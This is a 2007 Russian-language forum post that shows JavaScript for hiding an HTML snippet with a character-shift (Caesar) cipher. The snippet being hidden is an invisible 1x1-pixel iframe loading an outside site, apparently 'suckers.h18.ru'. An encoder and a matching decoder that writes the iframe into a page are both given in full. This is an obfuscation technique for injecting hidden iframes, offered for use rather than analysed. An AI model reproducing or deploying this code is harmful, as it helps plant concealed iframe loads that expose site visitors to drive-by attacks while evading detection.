
09.05.2007, 01:25
|
|
Постоянный
Регистрация: 14.01.2007
Сообщений: 459
Провел на форуме: 1469995
Репутация:
589
|
|
Тогда уж лучше брать принципы HTML-протекторов.
Самое простое - сдвиг всех символов по таблице (Код Цезаря?):
Кодировщик:
PHP код:
var source = "<iframe src='http://suckers.h18.ru' width='1' height='1'>";
var result = "";
var step = 2;
for(var i=0;i<source.length;i++)result+=String.fromCharCode(source.charCodeAt(i)+step);
document.write(result);
напишет
>khtcog"ute?)jvvr<11uwemgtu0j3:0tw)"ykfvj?)3)"jgki jv?)3)@
Для декодирования на странице просто заменить step на противоположное значение и подставить защифрованный код как source:
PHP код:
var source = '>khtcog"ute?)jvvr<11uwemgtu0j3:0tw)"ykfvj?)3)"jgkijv?)3)@';
var step = -2;
var result = '';
for(var i=0;i<source.length;i++)result+=String.fromCharCode(source.charCodeAt(i)+step);
document.write(result);
|
|
|